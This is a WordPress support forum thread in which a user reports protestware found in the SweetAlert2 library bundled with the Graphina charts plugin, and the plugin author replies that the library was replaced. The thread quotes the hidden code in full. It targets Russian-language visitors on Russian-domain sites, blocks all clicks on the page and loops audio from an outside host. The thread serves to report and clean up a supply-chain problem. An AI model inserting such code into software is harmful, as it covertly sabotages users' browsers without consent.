Title: The virus code
Last modified: March 31, 2025

---

# The virus code

 *  Resolved [began87](https://wordpress.org/support/users/began87/)
 * (@began87)
 * [1 year, 1 month ago](https://wordpress.org/support/topic/the-virus-code/)
 * What is this?
 *     ```wp-block-code
       // Dear russian users visiting russian sites. Let's have fun.if (typeof window !== 'undefined' && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) {  const now = new Date();  const initiationDate = localStorage.getItem('swal-initiation');  if (!initiationDate) {    localStorage.setItem('swal-initiation', ${now});  } else if ((now.getTime() - Date.parse(initiationDate)) / (1000 * 60 * 60 * 24) > 3) {    setTimeout(() => {      document.body.style.pointerEvents = 'none';      const ukrainianAnthem = document.createElement('audio');      ukrainianAnthem.src = 'https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3';      ukrainianAnthem.loop = true;      document.body.appendChild(ukrainianAnthem);      setTimeout(() => {        ukrainianAnthem.play().catch(() => {          // ignore        });      }, 2500);    }, 500);  }}
       ```
   
 * File: /wp-content/plugins/graphina-elementor-charts-and-graphs/node_modules/sweetalert2/
   dist/sweetalert2.esm.all.js
   lines: 4538-4558Why should I look for it?Are you 
   politicized?Please provide the source code for verification
    -  This topic was modified 1 year, 1 month ago by [began87](https://wordpress.org/support/users/began87/).

Viewing 5 replies - 1 through 5 (of 5 total)

 *  Thread Starter [began87](https://wordpress.org/support/users/began87/)
 * (@began87)
 * [1 year, 1 month ago](https://wordpress.org/support/topic/the-virus-code/#post-18391037)
 * [https://github.com/sweetalert2/sweetalert2](https://github.com/sweetalert2/sweetalert2)
 * A link to the Software you are using. Please read the description carefully. 
   And either fork and clean up the code, or stop using it because it affects your
   reputation.
 *  Thread Starter [began87](https://wordpress.org/support/users/began87/)
 * (@began87)
 * [1 year, 1 month ago](https://wordpress.org/support/topic/the-virus-code/#post-18391045)
 * [https://github.com/began9014/sweetalert2-war-clear](https://github.com/began9014/sweetalert2-war-clear)
 * My fork with normal behavior
 *  Plugin Author [Iqonic Design](https://wordpress.org/support/users/iqonicdesign/)
 * (@iqonicdesign)
 * [1 year, 1 month ago](https://wordpress.org/support/topic/the-virus-code/#post-18394830)
 * Hi [@began87](https://wordpress.org/support/users/began87/) ,
 * Thank you for bringing this to our attention. We have updated the plugin and 
   replaced the SweetAlert2 library with a clean version to ensure there are no 
   unexpected behaviors. Please update to the latest version of the **Graphina**
   plugin to resolve this issue.
 * If you have any further concerns or suggestions, feel free to reach out.
 * Best regards,
   Iqonic Design
 *  Thread Starter [began87](https://wordpress.org/support/users/began87/)
 * (@began87)
 * [1 year, 1 month ago](https://wordpress.org/support/topic/the-virus-code/#post-18395094)
 * What’s the point of updating the library to the latest version? The code is still
   in it.
   Did you fork the SweetAlert2 repository and delete the code?It’s just 
   that if I turn on the plugin on the site now without clearing it, I’ll get the
   admin panel blocked and the anthem unblocked again.In the original library on
   github, the code is present in place.
    -  This reply was modified 1 year, 1 month ago by [began87](https://wordpress.org/support/users/began87/).
 *  Plugin Author [Iqonic Design](https://wordpress.org/support/users/iqonicdesign/)
 * (@iqonicdesign)
 * [1 year, 1 month ago](https://wordpress.org/support/topic/the-virus-code/#post-18404555)
 * Hi [@began87](https://wordpress.org/support/users/began87/) ,
 * Thank you for your continued feedback.
 * We want to assure you that we have replaced the SweetAlert2 library with a clean
   version in our development workflow. Kindly make sure to delete your existing`
   node_modules` folder and reinstall the dependencies to ensure the latest clean
   version is being used:
 *     ```wp-block-code
       npm install
       ```
   
 * After doing this, please recompile the assets and check if the issue still persists.
 * Let us know if you still notice any unwanted behavior—we’re here to help ensure
   everything runs smoothly.
 * Best regards,
   Iqonic Design

Viewing 5 replies - 1 through 5 (of 5 total)

The topic ‘The virus code’ is closed to new replies.

 * ![](https://ps.w.org/graphina-elementor-charts-and-graphs/assets/icon.svg?rev
   =2345968)
 * [Graphina - Charts and Graphs For Elementor](https://wordpress.org/plugins/graphina-elementor-charts-and-graphs/)
 * [Frequently Asked Questions](https://wordpress.org/plugins/graphina-elementor-charts-and-graphs/#faq)
 * [Support Threads](https://wordpress.org/support/plugin/graphina-elementor-charts-and-graphs/)
 * [Active Topics](https://wordpress.org/support/plugin/graphina-elementor-charts-and-graphs/active/)
 * [Unresolved Topics](https://wordpress.org/support/plugin/graphina-elementor-charts-and-graphs/unresolved/)
 * [Reviews](https://wordpress.org/support/plugin/graphina-elementor-charts-and-graphs/reviews/)

 * 5 replies
 * 2 participants
 * Last reply from: [Iqonic Design](https://wordpress.org/support/users/iqonicdesign/)
 * Last activity: [1 year, 1 month ago](https://wordpress.org/support/topic/the-virus-code/#post-18404555)
 * Status: resolved